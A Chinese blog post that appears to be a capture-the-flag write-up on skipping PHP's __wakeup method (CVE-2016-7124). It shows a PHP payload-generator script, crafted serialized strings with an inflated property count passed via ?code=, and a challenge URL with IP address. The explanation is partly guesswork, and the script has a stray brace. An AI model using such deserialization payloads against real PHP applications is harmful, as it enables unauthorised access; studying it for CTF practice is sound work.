跳过__wakeup方法

image-20260526220632986

题目给的东西都在下面了,(涉及到CVE 2016-7124)

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
    //?code=     (通过code来传参)

经过分析,后台代码可能对code传入的数据进行了unserialize(),所以可以编写脚本来生成payload,但是同时不能触发__wakeup方法

如果序列化字符串中表示对象属性的个数的值大于真实的,那么会跳过__wakeup,同时反序列化失败

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

属性值就是"xctf":1 (就是这个1)

攻击脚本:

<?php
class xctf{
public $flag="phpinfo()";}
$a=new xctf();
$b=serialize($a);   
echo $b;    
}
?>//得到O:4:"xctf":1:{s:4:"flag";s:9:"phpinfo()";}

但是输入?code=O:4:"xctf":2:{s:4:"flag";s:9:"phpinfo()";} //把属性个数1改为2,让__wakeup失效,

我™也不知道后台怎么处理,于是把上面那个phpinfo()改为原来的111,就得到了下面这个,再改变属性值

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

他就成功回显了flag

注: 实测

http://61.147.171.35:65140/?code=O:4:"xctf":1:{s:4:"flag";s:0:"111";}

就是把那个S:3改为S:0也可以

所以我认为关键是让反序列化过程解析出错

posted @ 2026-06-18 16:09  Doll_Marker  阅读(10)  评论(0)    收藏  举报